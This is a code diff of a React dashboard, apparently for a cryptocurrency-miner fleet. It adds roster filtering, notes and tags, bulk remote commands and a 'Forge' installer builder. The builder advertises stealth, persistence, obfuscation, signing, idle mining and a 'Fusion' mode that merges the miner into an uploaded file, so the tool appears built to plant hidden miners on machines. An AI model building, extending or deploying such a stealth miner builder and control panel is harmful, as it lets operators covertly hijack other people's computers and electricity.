@@ -86,17 +89,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case 'stats_update': {
|
case 'stats_update': {
|
||||||
const update = msg.payload as {
|
const update = msg.payload as WSStatsUpdate;
|
||||||
agent_id: string;
|
|
||||||
hashrate_15s: number;
|
|
||||||
hashrate_1m: number;
|
|
||||||
hashrate_15m: number;
|
|
||||||
cpu_usage_pct: number;
|
|
||||||
memory_usage_pct?: number;
|
|
||||||
uptime_seconds?: number;
|
|
||||||
shares_submitted?: number;
|
|
||||||
shares_accepted?: number;
|
|
||||||
};
|
|
||||||
setAgents((prev) =>
|
setAgents((prev) =>
|
||||||
prev.map((a) =>
|
prev.map((a) =>
|
||||||
a.id === update.agent_id
|
a.id === update.agent_id
|
||||||
@@ -115,6 +108,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
|||||||
(update.shares_submitted ?? a.shares_total) -
|
(update.shares_submitted ?? a.shares_total) -
|
||||||
(update.shares_accepted ?? a.shares_good)
|
(update.shares_accepted ?? a.shares_good)
|
||||||
),
|
),
|
||||||
|
status: 'online' as const,
|
||||||
}
|
}
|
||||||
: a
|
: a
|
||||||
)
|
)
|
||||||
@@ -150,17 +144,15 @@ export function useWebSocket(): UseWebSocketReturn {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case 'command_result': {
|
case 'command_result': {
|
||||||
const { agent_id } = msg.payload as { agent_id?: string };
|
const p = msg.payload as WSCommandResult;
|
||||||
if (agent_id && msg.payload && typeof msg.payload === 'object') {
|
const agent_id = p.agent_id;
|
||||||
const p = msg.payload as { action?: string; message?: string; success?: boolean };
|
if (agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||||
if (p.action === 'get_log' && p.success && p.message) {
|
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
||||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case 'agent_log': {
|
case 'agent_log': {
|
||||||
const { agent_id, content } = msg.payload as { agent_id: string; content: string };
|
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||||
if (agent_id) {
|
if (agent_id) {
|
||||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,22 @@
|
|||||||
import { useState, useEffect } from 'react';
|
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import { useWebSocket } from '../hooks/useWebSocket';
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
import type { Agent, HashrateSample } from '../types';
|
import type { Agent, HashrateSample } from '../types';
|
||||||
import HashrateChart from '../components/Charts/HashrateChart';
|
import HashrateChart from '../components/Charts/HashrateChart';
|
||||||
import NeonCard from '../components/NeonCard/NeonCard';
|
import NeonCard from '../components/NeonCard/NeonCard';
|
||||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||||
|
import AgentListItem from '../components/Fleet/AgentListItem';
|
||||||
|
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||||
|
import {
|
||||||
|
DEFAULT_FLEET_FILTERS,
|
||||||
|
filterFleetAgents,
|
||||||
|
agentIsIdleMiner,
|
||||||
|
formatHashrate,
|
||||||
|
formatUptime,
|
||||||
|
} from '../help/fleetFilters';
|
||||||
|
import type { FleetFilterState } from '../help/fleetFilters';
|
||||||
import '../components/Fleet/FleetPanels.css';
|
import '../components/Fleet/FleetPanels.css';
|
||||||
|
import '../components/Fleet/FleetToolbar.css';
|
||||||
import '../components/Fleet/AgentRemoteActions.css';
|
import '../components/Fleet/AgentRemoteActions.css';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
@@ -13,11 +24,19 @@ export default function AgentsPage() {
|
|||||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||||
const [agents, setAgents] = useState<Agent[]>([]);
|
const [agents, setAgents] = useState<Agent[]>([]);
|
||||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||||
|
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||||
|
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||||
|
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||||
|
const [bulkBusy, setBulkBusy] = useState(false);
|
||||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||||
const [loading, setLoading] = useState(true);
|
const [loading, setLoading] = useState(true);
|
||||||
const [loadError, setLoadError] = useState('');
|
const [loadError, setLoadError] = useState('');
|
||||||
const [logContent, setLogContent] = useState('');
|
const [logContent, setLogContent] = useState('');
|
||||||
const [logLoading, setLogLoading] = useState(false);
|
const [logLoading, setLogLoading] = useState(false);
|
||||||
|
const [notesDraft, setNotesDraft] = useState('');
|
||||||
|
const [tagsDraft, setTagsDraft] = useState('');
|
||||||
|
const [metaSaving, setMetaSaving] = useState(false);
|
||||||
|
const [metaMsg, setMetaMsg] = useState('');
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
api.listAgents()
|
api.listAgents()
|
||||||
@@ -33,6 +52,8 @@ export default function AgentsPage() {
|
|||||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||||
if (updated) {
|
if (updated) {
|
||||||
setSelectedAgent(updated);
|
setSelectedAgent(updated);
|
||||||
|
setNotesDraft(updated.notes || '');
|
||||||
|
setTagsDraft((updated.tags || []).join(', '));
|
||||||
} else {
|
} else {
|
||||||
setSelectedAgent(null);
|
setSelectedAgent(null);
|
||||||
setLogContent('');
|
setLogContent('');
|
||||||
@@ -45,6 +66,11 @@ export default function AgentsPage() {
|
|||||||
}
|
}
|
||||||
}, [selectedAgent?.id, agentLogs]);
|
}, [selectedAgent?.id, agentLogs]);
|
||||||
|
|
||||||
|
const filteredAgents = useMemo(
|
||||||
|
() => filterFleetAgents(agents, filters),
|
||||||
|
[agents, filters]
|
||||||
|
);
|
||||||
|
|
||||||
const refreshLog = async (refresh = false) => {
|
const refreshLog = async (refresh = false) => {
|
||||||
if (!selectedAgent) return;
|
if (!selectedAgent) return;
|
||||||
setLogLoading(true);
|
setLogLoading(true);
|
||||||
@@ -60,6 +86,9 @@ export default function AgentsPage() {
|
|||||||
|
|
||||||
const selectAgent = async (agent: Agent) => {
|
const selectAgent = async (agent: Agent) => {
|
||||||
setSelectedAgent(agent);
|
setSelectedAgent(agent);
|
||||||
|
setNotesDraft(agent.notes || '');
|
||||||
|
setTagsDraft((agent.tags || []).join(', '));
|
||||||
|
setMetaMsg('');
|
||||||
setLogContent('');
|
setLogContent('');
|
||||||
try {
|
try {
|
||||||
const history = await api.getAgentStats(agent.id, 60);
|
const history = await api.getAgentStats(agent.id, 60);
|
||||||
@@ -69,15 +98,75 @@ export default function AgentsPage() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const saveMeta = async () => {
|
||||||
|
if (!selectedAgent) return;
|
||||||
|
setMetaSaving(true);
|
||||||
|
setMetaMsg('');
|
||||||
|
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||||||
|
try {
|
||||||
|
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
|
||||||
|
const updated = res.agent;
|
||||||
|
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
|
||||||
|
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
|
||||||
|
setMetaMsg('Saved');
|
||||||
|
setTimeout(() => setMetaMsg(''), 2000);
|
||||||
|
} catch (err) {
|
||||||
|
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
|
||||||
|
} finally {
|
||||||
|
setMetaSaving(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const toggleSelect = useCallback((id: string, on: boolean) => {
|
||||||
|
setSelectedIds((prev) => {
|
||||||
|
const next = new Set(prev);
|
||||||
|
if (on) next.add(id);
|
||||||
|
else next.delete(id);
|
||||||
|
return next;
|
||||||
|
});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleBulkAction = async (action: string) => {
|
||||||
|
const ids = [...selectedIds];
|
||||||
|
if (ids.length === 0) return;
|
||||||
|
|
||||||
|
let targetIds = ids;
|
||||||
|
if (action === 'restart_idle') {
|
||||||
|
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||||
|
if (targetIds.length === 0) {
|
||||||
|
alert('No selected online agents with idle hashrate (< 100 H/s).');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
action = 'restart';
|
||||||
|
}
|
||||||
|
|
||||||
|
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||||
|
if (onlineIds.length === 0) {
|
||||||
|
alert('No online agents in selection.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||||||
|
|
||||||
|
setBulkBusy(true);
|
||||||
|
try {
|
||||||
|
await api.sendBulkCommand(onlineIds, action);
|
||||||
|
} catch (err) {
|
||||||
|
console.error(err);
|
||||||
|
} finally {
|
||||||
|
setBulkBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="page fade-in command-deck">
|
<div className="page fade-in command-deck">
|
||||||
<header className="deck-hero">
|
<header className="deck-hero">
|
||||||
<div className="deck-hero-text">
|
<div className="deck-hero-text">
|
||||||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||||||
<h1>Fleet Roster</h1>
|
<h1>Fleet Roster</h1>
|
||||||
<p className="page-subtitle">Inspect each node — hashrate history, hardware, share ledger.</p>
|
<p className="page-subtitle">Compact list — click a row to expand quick actions or inspect full telemetry on the right.</p>
|
||||||
</div>
|
</div>
|
||||||
<span className="header-count font-tech">{agents.length} NODES</span>
|
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||||
</header>
|
</header>
|
||||||
|
|
||||||
{loadError && (
|
{loadError && (
|
||||||
@@ -98,45 +187,74 @@ export default function AgentsPage() {
|
|||||||
</NeonCard>
|
</NeonCard>
|
||||||
) : (
|
) : (
|
||||||
<div className="agents-layout">
|
<div className="agents-layout">
|
||||||
<div className="agents-list">
|
<div className="agents-list-panel">
|
||||||
{agents.map((agent) => (
|
<FleetToolbar
|
||||||
<div
|
agents={agents}
|
||||||
key={agent.id}
|
filters={filters}
|
||||||
className={`neon-card agent-list-item ${selectedAgent?.id === agent.id ? 'selected' : ''}`}
|
onChange={setFilters}
|
||||||
onClick={() => selectAgent(agent)}
|
selectedCount={selectedIds.size}
|
||||||
>
|
onBulkAction={handleBulkAction}
|
||||||
<div className="agent-list-header">
|
bulkBusy={bulkBusy}
|
||||||
<div className="agent-list-name">
|
/>
|
||||||
<span className={`status-dot ${agent.status}`} />
|
<div className="agents-list">
|
||||||
<span>{agent.name}</span>
|
{filteredAgents.map((agent) => (
|
||||||
</div>
|
<AgentListItem
|
||||||
<span className={`status-badge ${agent.status}`}>
|
key={agent.id}
|
||||||
{agent.status}
|
agent={agent}
|
||||||
</span>
|
selected={selectedAgent?.id === agent.id}
|
||||||
</div>
|
expanded={expandedId === agent.id}
|
||||||
<div className="agent-list-details">
|
selectable
|
||||||
<span>Hashrate: {formatHashrate(agent.hashrate_15m)}</span>
|
checked={selectedIds.has(agent.id)}
|
||||||
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
|
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||||
</div>
|
onSelect={() => void selectAgent(agent)}
|
||||||
<div className="agent-list-meta">
|
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||||
<span>{agent.ip}</span>
|
latestWsMessage={latestMessage}
|
||||||
<span>v{agent.version || '?'}</span>
|
/>
|
||||||
<span>{agent.cpu_cores} cores</span>
|
))}
|
||||||
</div>
|
{filteredAgents.length === 0 && (
|
||||||
<AgentRemoteActions agent={agent} compact />
|
<p className="form-hint">No agents match filters.</p>
|
||||||
</div>
|
)}
|
||||||
))}
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{selectedAgent && (
|
{selectedAgent && (
|
||||||
<NeonCard accent="cyan" className="agent-detail" hud>
|
<NeonCard accent="cyan" className="agent-detail" hud>
|
||||||
<h2 className="font-display">{selectedAgent.name}</h2>
|
<h2 className="font-display">{selectedAgent.name}</h2>
|
||||||
|
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||||||
|
<div style={{ marginBottom: '0.5rem' }}>
|
||||||
|
{selectedAgent.tags!.map((t) => (
|
||||||
|
<span key={t} className="agent-tag-chip">{t}</span>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className="detail-section agent-meta-editor">
|
||||||
|
<h3>Notes & Tags</h3>
|
||||||
|
<p className="form-hint">Labels like "Living room PC" or "Rack B" — stored on the server, shown on list cards.</p>
|
||||||
|
<textarea
|
||||||
|
className="input"
|
||||||
|
rows={2}
|
||||||
|
placeholder="Notes about this machine…"
|
||||||
|
value={notesDraft}
|
||||||
|
onChange={(e) => setNotesDraft(e.target.value)}
|
||||||
|
/>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input mono agent-meta-tags-input"
|
||||||
|
placeholder="Tags: living-room, rack-b (comma separated)"
|
||||||
|
value={tagsDraft}
|
||||||
|
onChange={(e) => setTagsDraft(e.target.value)}
|
||||||
|
/>
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
|
||||||
|
{metaSaving ? 'Saving…' : 'Save notes & tags'}
|
||||||
|
</button>
|
||||||
|
{metaMsg && <span className="form-hint">{metaMsg}</span>}
|
||||||
|
</div>
|
||||||
|
|
||||||
<div className="agent-detail-grid">
|
<div className="agent-detail-grid">
|
||||||
<div className="detail-item">
|
<div className="detail-item">
|
||||||
<span className="detail-label">Status</span>
|
<span className="detail-label">Status</span>
|
||||||
<span className={`status-badge ${selectedAgent.status}`}>
|
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
|
||||||
{selectedAgent.status}
|
|
||||||
</span>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="detail-item">
|
<div className="detail-item">
|
||||||
<span className="detail-label">Wallet</span>
|
<span className="detail-label">Wallet</span>
|
||||||
@@ -222,8 +340,12 @@ export default function AgentsPage() {
|
|||||||
|
|
||||||
<div className="detail-section">
|
<div className="detail-section">
|
||||||
<h3>Remote Control</h3>
|
<h3>Remote Control</h3>
|
||||||
|
{selectedAgent.status !== 'online' && (
|
||||||
|
<p className="form-hint">Agent is offline — remote actions are disabled until it reconnects.</p>
|
||||||
|
)}
|
||||||
<AgentRemoteActions
|
<AgentRemoteActions
|
||||||
agent={selectedAgent}
|
agent={selectedAgent}
|
||||||
|
online={selectedAgent.status === 'online'}
|
||||||
latestWsMessage={latestMessage}
|
latestWsMessage={latestMessage}
|
||||||
onCommandSent={(action: string) => {
|
onCommandSent={(action: string) => {
|
||||||
if (action === 'get_log') refreshLog(true);
|
if (action === 'get_log') refreshLog(true);
|
||||||
@@ -232,7 +354,7 @@ export default function AgentsPage() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="detail-section">
|
<div className="detail-section">
|
||||||
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
||||||
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
|
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
|
||||||
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
|
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
|
||||||
</div>
|
</div>
|
||||||
@@ -246,18 +368,3 @@ export default function AgentsPage() {
|
|||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
function formatHashrate(h: number): string {
|
|
||||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
|
||||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
|
||||||
return `${h.toFixed(0)} H/s`;
|
|
||||||
}
|
|
||||||
|
|
||||||
function formatUptime(seconds: number): string {
|
|
||||||
const d = Math.floor(seconds / 86400);
|
|
||||||
const h = Math.floor((seconds % 86400) / 3600);
|
|
||||||
const m = Math.floor((seconds % 3600) / 60);
|
|
||||||
if (d > 0) return `${d}d ${h}h`;
|
|
||||||
if (h > 0) return `${h}h ${m}m`;
|
|
||||||
return `${m}m`;
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
import { useState, useEffect, useRef, useMemo } from 'react';
|
import { useState, useEffect, useRef, useMemo } from 'react';
|
||||||
import { Link } from 'react-router-dom';
|
import { Link } from 'react-router-dom';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
|
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||||
import NeonCard from '../components/NeonCard/NeonCard';
|
import NeonCard from '../components/NeonCard/NeonCard';
|
||||||
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
|
||||||
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
|
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
|
||||||
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||||
import { previewInstallPath } from '../help/installPreview';
|
import { previewInstallPath } from '../help/installPreview';
|
||||||
@@ -17,8 +17,31 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
|
|||||||
import '../components/Fleet/FleetPanels.css';
|
import '../components/Fleet/FleetPanels.css';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
function formatBytes(n: number): string {
|
||||||
return forgeDefaultsFromServer(config, serverInfo);
|
if (n < 1024) return `${n} B`;
|
||||||
|
const units = ['KB', 'MB', 'GB'];
|
||||||
|
let v = n / 1024;
|
||||||
|
for (const u of units) {
|
||||||
|
if (v < 1024) return `${v.toFixed(2)} ${u}`;
|
||||||
|
v /= 1024;
|
||||||
|
}
|
||||||
|
return `${v.toFixed(2)} TB`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
|
||||||
|
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||||
|
}
|
||||||
|
|
||||||
|
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
||||||
|
|
||||||
|
function loadSimpleMode(): boolean {
|
||||||
|
try {
|
||||||
|
const v = localStorage.getItem(FORGE_MODE_KEY);
|
||||||
|
if (v === 'advanced') return false;
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function BuilderPage() {
|
export default function BuilderPage() {
|
||||||
@@ -30,9 +53,22 @@ export default function BuilderPage() {
|
|||||||
const [showRecent, setShowRecent] = useState(false);
|
const [showRecent, setShowRecent] = useState(false);
|
||||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||||
|
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||||
|
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||||
|
const [estimateError, setEstimateError] = useState('');
|
||||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||||
const [listenPort, setListenPort] = useState(8989);
|
const [listenPort, setListenPort] = useState(8989);
|
||||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||||
|
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||||
|
|
||||||
|
const setForgeMode = (simple: boolean) => {
|
||||||
|
setSimpleMode(simple);
|
||||||
|
try {
|
||||||
|
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const refreshEndpointInfo = async () => {
|
const refreshEndpointInfo = async () => {
|
||||||
setRefreshingEndpoints(true);
|
setRefreshingEndpoints(true);
|
||||||
@@ -56,11 +92,13 @@ export default function BuilderPage() {
|
|||||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
|
||||||
.then(([config, info]) => {
|
.then(([config, info, builds]) => {
|
||||||
setServerInfo(info);
|
setServerInfo(info);
|
||||||
setListenPort(config.port || info.port || 8989);
|
setListenPort(config.port || info.port || 8989);
|
||||||
setForm(defaultsFromConfig(config, info));
|
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||||
|
const base = defaultsFromConfig(config, info, builds);
|
||||||
|
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }));
|
||||||
})
|
})
|
||||||
.catch((err) => {
|
.catch((err) => {
|
||||||
console.error(err);
|
console.error(err);
|
||||||
@@ -227,6 +265,24 @@ export default function BuilderPage() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const applyRecommendedDefaults = async () => {
|
||||||
|
if (!form) return;
|
||||||
|
try {
|
||||||
|
const [config, info, builds] = await Promise.all([
|
||||||
|
api.getConfig(),
|
||||||
|
api.getServerInfo(),
|
||||||
|
api.listBuilds().catch(() => [] as BuildRecord[]),
|
||||||
|
]);
|
||||||
|
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||||
|
const base = defaultsFromConfig(config, info, builds);
|
||||||
|
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
|
||||||
|
setBlueprintMsg('✅ Recommended defaults applied');
|
||||||
|
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||||
|
} catch (err: unknown) {
|
||||||
|
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const updateField = (field: keyof BuildRequest, value: unknown) => {
|
const updateField = (field: keyof BuildRequest, value: unknown) => {
|
||||||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||||||
};
|
};
|
||||||
@@ -243,6 +299,44 @@ export default function BuilderPage() {
|
|||||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!form?.fusion_enabled || !fusionPrepFile) {
|
||||||
|
setFusionEstimate(null);
|
||||||
|
setEstimateError('');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let cancelled = false;
|
||||||
|
const timer = window.setTimeout(() => {
|
||||||
|
setEstimateLoading(true);
|
||||||
|
setEstimateError('');
|
||||||
|
api.estimateFusion(form, fusionPrepFile)
|
||||||
|
.then((est) => {
|
||||||
|
if (!cancelled) setFusionEstimate(est);
|
||||||
|
})
|
||||||
|
.catch((err: Error) => {
|
||||||
|
if (!cancelled) {
|
||||||
|
setFusionEstimate(null);
|
||||||
|
setEstimateError(err.message || 'Estimate failed');
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.finally(() => {
|
||||||
|
if (!cancelled) setEstimateLoading(false);
|
||||||
|
});
|
||||||
|
}, 350);
|
||||||
|
return () => {
|
||||||
|
cancelled = true;
|
||||||
|
window.clearTimeout(timer);
|
||||||
|
};
|
||||||
|
}, [
|
||||||
|
form?.fusion_enabled,
|
||||||
|
form?.fusion_output_name,
|
||||||
|
form?.output_dir,
|
||||||
|
form?.obfuscate,
|
||||||
|
form?.sign_build,
|
||||||
|
form?.worker_name,
|
||||||
|
fusionPrepFile,
|
||||||
|
]);
|
||||||
|
|
||||||
if (loadingDefaults || !form) {
|
if (loadingDefaults || !form) {
|
||||||
return (
|
return (
|
||||||
<div className="page fade-in command-deck">
|
<div className="page fade-in command-deck">
|
||||||
@@ -283,10 +377,29 @@ export default function BuilderPage() {
|
|||||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||||
<h1>The Forge</h1>
|
<h1>The Forge</h1>
|
||||||
<p className="page-subtitle">
|
<p className="page-subtitle">
|
||||||
Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.
|
{simpleMode
|
||||||
|
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
|
||||||
|
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
|
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||||
|
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||||
|
onClick={() => setForgeMode(true)}
|
||||||
|
title={FIELD_HELP.forge_simple_mode}
|
||||||
|
>
|
||||||
|
Simple
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||||
|
onClick={() => setForgeMode(false)}
|
||||||
|
>
|
||||||
|
Advanced
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||||||
Recent Builds
|
Recent Builds
|
||||||
</button>
|
</button>
|
||||||
@@ -365,31 +478,41 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="card builder-form">
|
<div className="card builder-form">
|
||||||
<div className="forge-rules-banner">
|
{simpleMode ? (
|
||||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
<div className="forge-simple-banner card">
|
||||||
<p className="form-hint" style={{ margin: 0 }}>
|
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
|
||||||
</p>
|
Reset to recommended defaults
|
||||||
<div className="forge-rules-grid">
|
</button>
|
||||||
<div className="forge-rule-card">
|
</div>
|
||||||
<strong>⛏ Baked into installer</strong>
|
) : (
|
||||||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
<div className="forge-rules-banner">
|
||||||
</div>
|
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||||
<div className="forge-rule-card">
|
